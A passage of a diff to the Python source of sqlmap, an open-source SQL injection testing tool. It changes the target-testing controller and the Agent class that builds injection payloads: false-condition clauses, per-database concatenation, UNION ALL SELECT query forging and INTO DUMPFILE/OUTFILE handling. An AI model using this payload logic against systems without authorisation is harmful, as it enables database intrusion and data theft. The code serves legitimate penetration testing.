||||||
def __selectInjection(injData):
|
def __selectInjection(injData):
|
||||||
"""
|
"""
|
||||||
Selection function for injection place, parameters and type.
|
Selection function for injection place, parameters and type.
|
||||||
@@ -65,7 +62,7 @@ def __selectInjection(injData):
|
|||||||
|
|
||||||
message += "\n"
|
message += "\n"
|
||||||
|
|
||||||
message += "[q] Quit\nChoice: "
|
message += "[q] Quit"
|
||||||
select = readInput(message, default="0")
|
select = readInput(message, default="0")
|
||||||
|
|
||||||
if not select:
|
if not select:
|
||||||
@@ -84,7 +81,6 @@ def __selectInjection(injData):
|
|||||||
|
|
||||||
return injData[index]
|
return injData[index]
|
||||||
|
|
||||||
|
|
||||||
def start():
|
def start():
|
||||||
"""
|
"""
|
||||||
This function calls a function that performs checks on both URL
|
This function calls a function that performs checks on both URL
|
||||||
@@ -105,7 +101,6 @@ def start():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
receivedCookies = []
|
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
setCookieAsInjectable = True
|
setCookieAsInjectable = True
|
||||||
|
|
||||||
@@ -126,7 +121,7 @@ def start():
|
|||||||
if conf.data:
|
if conf.data:
|
||||||
message += "\nPOST data: %s" % conf.data
|
message += "\nPOST data: %s" % conf.data
|
||||||
|
|
||||||
message += "\ndo you want to test this url? [Y/n/q] "
|
message += "\ndo you want to test this url? [Y/n/q]"
|
||||||
test = readInput(message, default="Y")
|
test = readInput(message, default="Y")
|
||||||
|
|
||||||
if not test:
|
if not test:
|
||||||
@@ -139,54 +134,48 @@ def start():
|
|||||||
logMsg = "testing url %s" % targetUrl
|
logMsg = "testing url %s" % targetUrl
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
createTargetDirs()
|
||||||
initTargetEnv()
|
initTargetEnv()
|
||||||
|
|
||||||
if not checkConnection() or not checkString() or not checkRegexp():
|
if not checkConnection() or not checkString() or not checkRegexp():
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for _, cookie in enumerate(conf.cj):
|
if not conf.dropSetCookie:
|
||||||
cookie = str(cookie)
|
for _, cookie in enumerate(conf.cj):
|
||||||
index = cookie.index(" for ")
|
cookie = str(cookie)
|
||||||
|
index = cookie.index(" for ")
|
||||||
|
|
||||||
|
cookieStr += "%s;" % cookie[8:index]
|
||||||
|
|
||||||
cookieStr += "%s;" % cookie[8:index]
|
if cookieStr:
|
||||||
|
cookieStr = cookieStr[:-1]
|
||||||
if cookieStr:
|
|
||||||
cookieStr = cookieStr[:-1]
|
if "Cookie" in conf.parameters:
|
||||||
|
message = "you provided an HTTP Cookie header value. "
|
||||||
if "Cookie" in conf.parameters:
|
message += "The target url provided its own Cookie within "
|
||||||
message = "you provided an HTTP Cookie header value. "
|
message += "the HTTP Set-Cookie header. Do you want to "
|
||||||
message += "The target url provided its own Cookie within "
|
message += "continue using the HTTP Cookie values that "
|
||||||
message += "the HTTP Set-Cookie header. Do you want to "
|
message += "you provided? [Y/n] "
|
||||||
message += "continue using the HTTP Cookie values that "
|
test = readInput(message, default="Y")
|
||||||
message += "you provided? [Y/n] "
|
|
||||||
test = readInput(message, default="Y")
|
if not test or test[0] in ("y", "Y"):
|
||||||
|
setCookieAsInjectable = False
|
||||||
if not test or test[0] in ("y", "Y"):
|
|
||||||
setCookieAsInjectable = False
|
if setCookieAsInjectable:
|
||||||
|
safeCookie = sanitizeCookie(cookieStr)
|
||||||
if setCookieAsInjectable:
|
conf.httpHeaders.append(("Cookie", safeCookie))
|
||||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
conf.parameters["Cookie"] = safeCookie
|
||||||
conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
|
__paramDict = paramToDict("Cookie", safeCookie)
|
||||||
__paramDict = paramToDict("Cookie", cookieStr)
|
|
||||||
|
if __paramDict:
|
||||||
if __paramDict:
|
conf.paramDict["Cookie"] = __paramDict
|
||||||
conf.paramDict["Cookie"] = __paramDict
|
__testableParameters = True
|
||||||
__testableParameters = True
|
|
||||||
|
|
||||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||||
if not checkStability():
|
# NOTE: this is not needed anymore, leaving only to display
|
||||||
errMsg = "url is not stable, try with --string or "
|
# a warning message to the user in case the page is not stable
|
||||||
errMsg += "--regexp options, refer to the user's manual "
|
checkStability()
|
||||||
errMsg += "paragraph 'Page comparison' for details"
|
|
||||||
|
|
||||||
if conf.multipleTargets:
|
|
||||||
errMsg += ", skipping to next url"
|
|
||||||
logger.warn(errMsg)
|
|
||||||
|
|
||||||
continue
|
|
||||||
else:
|
|
||||||
raise sqlmapConnectionException, errMsg
|
|
||||||
|
|
||||||
for place in conf.parameters.keys():
|
for place in conf.parameters.keys():
|
||||||
if not conf.paramDict.has_key(place):
|
if not conf.paramDict.has_key(place):
|
||||||
@@ -195,13 +184,23 @@ def start():
|
|||||||
paramDict = conf.paramDict[place]
|
paramDict = conf.paramDict[place]
|
||||||
|
|
||||||
for parameter, value in paramDict.items():
|
for parameter, value in paramDict.items():
|
||||||
if not checkDynParam(place, parameter, value):
|
testSqlInj = True
|
||||||
|
|
||||||
|
# Avoid dinamicity test if the user provided the
|
||||||
|
# parameter manually
|
||||||
|
if parameter in conf.testParameter:
|
||||||
|
pass
|
||||||
|
|
||||||
|
elif not checkDynParam(place, parameter, value):
|
||||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
testSqlInj = False
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
if testSqlInj:
|
||||||
for parenthesis in range(0, 4):
|
for parenthesis in range(0, 4):
|
||||||
logMsg = "testing sql injection on %s " % place
|
logMsg = "testing sql injection on %s " % place
|
||||||
logMsg += "parameter '%s' with " % parameter
|
logMsg += "parameter '%s' with " % parameter
|
||||||
@@ -247,20 +246,16 @@ def start():
|
|||||||
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||||
condition = False
|
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||||
exploit = readInput(message, default="Y")
|
exploit = readInput(message, default="Y")
|
||||||
|
|
||||||
if not exploit or exploit[0] in ("y", "Y"):
|
condition = not exploit or exploit[0] in ("y", "Y")
|
||||||
condition = True
|
|
||||||
else:
|
else:
|
||||||
condition = True
|
condition = True
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
checkForParenthesis()
|
checkForParenthesis()
|
||||||
createTargetDirs()
|
|
||||||
action()
|
action()
|
||||||
|
|
||||||
if conf.loggedToOut:
|
if conf.loggedToOut:
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
|
|||||||
from plugins.dbms.oracle import OracleMap
|
from plugins.dbms.oracle import OracleMap
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
Detect which is the target web application back-end database
|
Detect which is the target web application back-end database
|
||||||
@@ -57,7 +54,9 @@ def setHandler():
|
|||||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
count += 1
|
count += 1
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
dbmsHandler = dbmsEntry()
|
dbmsHandler = dbmsEntry()
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
@@ -33,7 +31,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
||||||
|
|
||||||
|
|
||||||
class Agent:
|
class Agent:
|
||||||
@@ -46,29 +43,32 @@ class Agent:
|
|||||||
temp.start = randomStr(6)
|
temp.start = randomStr(6)
|
||||||
temp.stop = randomStr(6)
|
temp.stop = randomStr(6)
|
||||||
|
|
||||||
|
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
|
||||||
"""
|
"""
|
||||||
This method replaces the affected parameter with the SQL
|
This method replaces the affected parameter with the SQL
|
||||||
injection statement to request
|
injection statement to request
|
||||||
"""
|
"""
|
||||||
|
|
||||||
negValue = ""
|
falseValue = ""
|
||||||
retValue = ""
|
negValue = ""
|
||||||
|
retValue = ""
|
||||||
|
|
||||||
if negative == True or conf.paramNegative == True:
|
if negative or conf.paramNegative:
|
||||||
negValue = "-"
|
negValue = "-"
|
||||||
|
elif falseCond or conf.paramFalseCond:
|
||||||
|
randInt = randomInt()
|
||||||
|
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||||
|
|
||||||
# After identifing the injectable parameter
|
# After identifing the injectable parameter
|
||||||
if kb.injPlace == "User-Agent":
|
if kb.injPlace == "User-Agent":
|
||||||
retValue = kb.injParameter.replace(kb.injParameter,
|
retValue = kb.injParameter.replace(kb.injParameter,
|
||||||
"%s%s" % (negValue, kb.injParameter + newValue))
|
"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
|
||||||
elif kb.injParameter:
|
elif kb.injParameter:
|
||||||
paramString = conf.parameters[kb.injPlace]
|
paramString = conf.parameters[kb.injPlace]
|
||||||
paramDict = conf.paramDict[kb.injPlace]
|
paramDict = conf.paramDict[kb.injPlace]
|
||||||
value = paramDict[kb.injParameter]
|
value = paramDict[kb.injParameter]
|
||||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||||
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
|
"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
|
||||||
|
|
||||||
# Before identifing the injectable parameter
|
# Before identifing the injectable parameter
|
||||||
elif parameter == "User-Agent":
|
elif parameter == "User-Agent":
|
||||||
@@ -80,6 +80,12 @@ class Agent:
|
|||||||
|
|
||||||
return retValue
|
return retValue
|
||||||
|
|
||||||
|
def fullPayload(self, query):
|
||||||
|
query = self.prefixQuery(query)
|
||||||
|
query = self.postfixQuery(query)
|
||||||
|
payload = self.payload(newValue=query)
|
||||||
|
|
||||||
|
return payload
|
||||||
|
|
||||||
def prefixQuery(self, string):
|
def prefixQuery(self, string):
|
||||||
"""
|
"""
|
||||||
@@ -109,7 +115,6 @@ class Agent:
|
|||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
|
||||||
def postfixQuery(self, string, comment=None):
|
def postfixQuery(self, string, comment=None):
|
||||||
"""
|
"""
|
||||||
This method appends the DBMS comment to the
|
This method appends the DBMS comment to the
|
||||||
@@ -125,7 +130,7 @@ class Agent:
|
|||||||
if conf.postfix:
|
if conf.postfix:
|
||||||
string += " %s" % conf.postfix
|
string += " %s" % conf.postfix
|
||||||
else:
|
else:
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis is not None:
|
||||||
string += " AND %s" % ("(" * kb.parenthesis)
|
string += " AND %s" % ("(" * kb.parenthesis)
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||||
@@ -145,7 +150,6 @@ class Agent:
|
|||||||
|
|
||||||
return string
|
return string
|
||||||
|
|
||||||
|
|
||||||
def nullAndCastField(self, field):
|
def nullAndCastField(self, field):
|
||||||
"""
|
"""
|
||||||
Take in input a field string and return its processed nulled and
|
Take in input a field string and return its processed nulled and
|
||||||
@@ -176,12 +180,14 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
nulledCastedField = queries[kb.dbms].cast % field
|
if field.startswith("(CASE"):
|
||||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
nulledCastedField = field
|
||||||
|
else:
|
||||||
|
nulledCastedField = queries[kb.dbms].cast % field
|
||||||
|
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||||
|
|
||||||
return nulledCastedField
|
return nulledCastedField
|
||||||
|
|
||||||
|
|
||||||
def nullCastConcatFields(self, fields):
|
def nullCastConcatFields(self, fields):
|
||||||
"""
|
"""
|
||||||
Take in input a sequence of fields string and return its processed
|
Take in input a sequence of fields string and return its processed
|
||||||
@@ -228,7 +234,6 @@ class Agent:
|
|||||||
|
|
||||||
return nulledCastedConcatFields
|
return nulledCastedConcatFields
|
||||||
|
|
||||||
|
|
||||||
def getFields(self, query):
|
def getFields(self, query):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its fields (columns) and
|
Take in input a query string and return its fields (columns) and
|
||||||
@@ -246,21 +251,19 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||||
firstChar = "\\("
|
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||||
else:
|
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
|
||||||
firstChar = "\\A"
|
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||||
|
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||||
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
|
|
||||||
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
|
|
||||||
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
|
|
||||||
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
|
|
||||||
fieldsNoSelect = query
|
fieldsNoSelect = query
|
||||||
|
|
||||||
if fieldsSelectTop:
|
if fieldsSelectTop:
|
||||||
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||||
elif fieldsSelectDistinct:
|
elif fieldsSelectDistinct:
|
||||||
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||||
|
elif fieldsSelectCase:
|
||||||
|
fieldsToCastStr = fieldsSelectCase.groups()[0]
|
||||||
elif fieldsSelectFrom:
|
elif fieldsSelectFrom:
|
||||||
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
@@ -271,13 +274,23 @@ class Agent:
|
|||||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||||
fieldsToCastList = fieldsToCastList.split(",")
|
fieldsToCastList = fieldsToCastList.split(",")
|
||||||
|
|
||||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||||
fieldsSelectFrom = None
|
|
||||||
|
|
||||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
|
def simpleConcatQuery(self, query1, query2):
|
||||||
|
concatenatedQuery = ""
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
||||||
|
|
||||||
def concatQuery(self, query):
|
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||||
|
concatenatedQuery = "%s||%s" % (query1, query2)
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
concatenatedQuery = "%s+%s" % (query1, query2)
|
||||||
|
|
||||||
|
return concatenatedQuery
|
||||||
|
|
||||||
|
def concatQuery(self, query, unpack=True):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its processed nulled,
|
Take in input a query string and return its processed nulled,
|
||||||
casted and concatenated query string.
|
casted and concatenated query string.
|
||||||
@@ -303,53 +316,66 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
concatQuery = ""
|
if unpack:
|
||||||
query = query.replace(", ", ",")
|
concatenatedQuery = ""
|
||||||
|
query = query.replace(", ", ",")
|
||||||
|
|
||||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||||
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||||
|
else:
|
||||||
|
concatenatedQuery = query
|
||||||
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||||
|
|
||||||
if kb.dbms == "MySQL":
|
if kb.dbms == "MySQL":
|
||||||
if fieldsSelectFrom:
|
if fieldsSelectCase:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||||
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
concatenatedQuery += ",'%s')" % temp.stop
|
||||||
|
elif fieldsSelectFrom:
|
||||||
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||||
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||||
concatQuery += ",'%s')" % temp.stop
|
concatenatedQuery += ",'%s')" % temp.stop
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
|
||||||
|
|
||||||
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
|
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||||
if fieldsSelectFrom:
|
if fieldsSelectCase:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
concatenatedQuery += "||'%s'" % temp.stop
|
||||||
|
elif fieldsSelectFrom:
|
||||||
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||||
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||||
concatQuery += "||'%s'" % temp.stop
|
concatenatedQuery += "||'%s'" % temp.stop
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
|
||||||
concatQuery += " FROM DUAL"
|
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||||
concatQuery += " FROM DUAL"
|
concatenatedQuery += " FROM DUAL"
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
if fieldsSelectFrom:
|
if fieldsSelectTop:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||||
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||||
|
elif fieldsSelectCase:
|
||||||
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||||
|
concatenatedQuery += "+'%s'" % temp.stop
|
||||||
|
elif fieldsSelectFrom:
|
||||||
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||||
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||||
concatQuery += "+'%s'" % temp.stop
|
concatenatedQuery += "+'%s'" % temp.stop
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
|
concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||||
|
|
||||||
return concatQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
|
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||||
def forgeInbandQuery(self, query, exprPosition=None):
|
|
||||||
"""
|
"""
|
||||||
Take in input an query (pseudo query) string and return its
|
Take in input an query (pseudo query) string and return its
|
||||||
processed UNION ALL SELECT query.
|
processed UNION ALL SELECT query.
|
||||||
@@ -382,9 +408,20 @@ class Agent:
|
|||||||
|
|
||||||
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||||
|
|
||||||
|
if query.startswith("TOP"):
|
||||||
|
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||||
|
query = query[len("TOP %s " % topNum):]
|
||||||
|
inbandQuery += "TOP %s " % topNum
|
||||||
|
|
||||||
if not exprPosition:
|
if not exprPosition:
|
||||||
exprPosition = kb.unionPosition
|
exprPosition = kb.unionPosition
|
||||||
|
|
||||||
|
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
||||||
|
|
||||||
|
if intoRegExp:
|
||||||
|
intoRegExp = intoRegExp.group(1)
|
||||||
|
query = query[:query.index(intoRegExp)]
|
||||||
|
|
||||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||||
|
|
||||||
@@ -393,32 +430,30 @@ class Agent:
|
|||||||
inbandQuery += ", "
|
inbandQuery += ", "
|
||||||
|
|
||||||
if element == exprPosition:
|
if element == exprPosition:
|
||||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||||
conditionIndex = query.rindex(" FROM ")
|
conditionIndex = query.index(" FROM ")
|
||||||
inbandQuery += "%s" % query[:conditionIndex]
|
inbandQuery += query[:conditionIndex]
|
||||||
else:
|
else:
|
||||||
inbandQuery += "%s" % query
|
inbandQuery += query
|
||||||
else:
|
else:
|
||||||
inbandQuery += "NULL"
|
inbandQuery += nullChar
|
||||||
|
|
||||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||||
conditionIndex = query.rindex(" FROM ")
|
conditionIndex = query.index(" FROM ")
|
||||||
inbandQuery += "%s" % query[conditionIndex:]
|
inbandQuery += query[conditionIndex:]
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
